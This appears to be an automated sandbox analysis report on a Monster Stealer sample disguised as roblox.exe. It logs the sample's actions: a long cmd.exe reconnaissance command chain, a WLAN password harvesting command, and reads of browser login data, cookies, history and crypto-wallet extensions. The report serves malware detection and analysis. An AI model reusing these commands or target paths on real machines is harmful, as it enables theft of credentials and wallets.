Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox\History.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox\History.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Wallets VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\net1.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Code function: 3_2_00007FF8A7CC2C9C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_00007FF8A7CC2C9C

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

Stealing of Sensitive Information

Yara detected Monster Stealer

Source: Yara match	File source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 1892, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, type: DROPPED

Detected generic credential text file

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File created: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\process_info.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File created: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\system_info.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File created: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Cookies.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File created: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox\History.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File created: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\network_info.txt	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aElectrum
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aJaxx
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aExodus
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aEthereum
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: akeystore

Gathers network related connection and port information

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\031db23f-f53a-4d6b-b429-cd0302ef56d3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\6490c938-fe3f-48ae-bc5e-e1986298f7c1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\a5f61848-f128-4a80-965b-a3000feed295	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
